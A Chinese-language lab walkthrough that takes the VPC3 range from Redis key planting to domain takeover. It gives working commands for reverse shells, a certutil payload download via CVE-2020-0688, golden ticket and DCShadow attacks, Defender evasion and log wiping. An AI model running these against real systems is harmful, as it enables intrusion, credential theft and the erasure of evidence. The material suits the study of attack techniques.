
从Redis未授权到域控沦陷小迪安全VPC3靶场全流程实战解析在网络安全攻防演练中内网渗透往往是最具挑战性的环节。本文将基于小迪安全VPC3靶场环境完整复现从Redis未授权访问漏洞开始到最终获取域控制器权限的全过程。不同于简单的漏洞利用我们将重点关注攻击链的构建、技术原理的深入理解以及实战中可能遇到的各类问题解决方案。1. 环境准备与初始攻击面分析1.1 靶场环境拓扑小迪安全VPC3靶场模拟了一个典型的企业内网环境包含以下关键节点主机名称操作系统角色关键服务Ubuntu-web1UbuntuWeb服务器Redis, SSHUbuntu-web2Ubuntu内部应用服务器SSHWindows 2012Windows 2012域成员服务器Exchange, MSSQLWindows2012-DCWindows 2012域控制器AD DSWin10-defenderWindows 10终端防护测试机Defender1.2 Redis未授权访问漏洞利用Redis默认配置存在未授权访问风险这是我们的初始突破口。以下是详细利用步骤生成SSH密钥对ssh-keygen -t rsa -f /tmp/id_rsa -N 构造Redis可识别的公钥格式(echo -e \n\n; cat /tmp/id_rsa.pub; echo -e \n\n) /tmp/redis_key.txt将公钥写入目标Redis服务cat /tmp/redis_key.txt | redis-cli -h 192.168.16.193 -x set ssh_key修改Redis配置实现SSH密钥植入redis-cli -h 192.168.16.193 CONFIG SET dir /root/.ssh CONFIG SET dbfilename authorized_keys SAVE注意实际操作中可能会遇到Redis权限不足无法写入/root目录的情况此时需要尝试其他可写目录如/tmp再通过符号链接等方式实现目标。2. 内网横向移动技术详解2.1 基于SSH的横向渗透获取Web1权限后通过历史命令分析发现内网其他主机信息cat ~/.bash_history | grep ssh发现存在到Web2(192.168.52.20)的SSH连接记录。利用已获取的密钥或密码尝试横向移动ssh -i /tmp/id_rsa root192.168.52.202.2 Meterpreter会话建立与路由配置为方便后续渗透建立持久化控制通道生成Linux反向连接Payloadmsfvenom -p linux/x64/meterpreter/reverse_tcp LHOST攻击机IP LPORT4444 -f elf payload.elf设置监听use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set LHOST 攻击机IP set LPORT 4444 exploit添加内网路由run autoroute -s 192.168.52.0/243. Windows域环境渗透实战3.1 Exchange服务器漏洞利用通过前期信息收集发现存在Exchange服务器利用CVE-2020-0688漏洞SPN查询发现Exchange服务setspn -T rootkit.org -q */*利用漏洞执行命令python cve-2020-0688.py -s https://exchange.rootkit.org -u userrootkit.org -p Password123 -c whoami上传并执行Meterpreter Payloadpython cve-2020-0688.py -s https://exchange.rootkit.org -u userrootkit.org -p Password123 -c certutil -urlcache -split -f http://攻击IP/payload.exe C:\Windows\Temp\payload.exe3.2 域控提权与权限维持获取域管理员凭据后使用多种技术维持访问Golden Ticket攻击mimikatz # kerberos::golden /user:Administrator /domain:rootkit.org /sid:S-1-5-21-... /krbtgt:哈希值 /ticket:golden.kirbiDCShadow攻击mimikatz # ! mimikatz # !processtoken mimikatz # lsadump::dcshadow /object:CNTestUser,CNUsers,DCrootkit,DCorg /attribute:userAccountControl /value:5124. 防御规避与痕迹清理4.1 对抗Windows Defender针对现代终端防护的绕过技术PowerShell内存加载$bytes [System.IO.File]::ReadAllBytes(payload.bin) $assembly [System.Reflection.Assembly]::Load($bytes) $entry $assembly.EntryPoint $entry.Invoke($null, (,$args))API间接调用typedef BOOL (WINAPI* pVirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); pVirtualProtect VirtualProtect (pVirtualProtect)GetProcAddress(GetModuleHandle(kernel32.dll), VirtualProtect);4.2 渗透痕迹清理指南系统类型清理目标具体命令/操作Linux命令历史记录history -c rm ~/.bash_historyWindows事件日志wevtutil cl security最近访问文件记录del /f /q %UserProfile%\Recent\*通用工具残留文件sdelete -z payload.exe在实际渗透测试中每个环节都可能遇到各种意外情况。例如在Redis利用阶段可能会遇到目标系统没有.ssh目录Redis运行在低权限账户下防火墙规则阻止SSH连接针对这些问题需要准备多种备用方案如通过crontab实现权限维持或利用Redis主从复制漏洞等替代方法。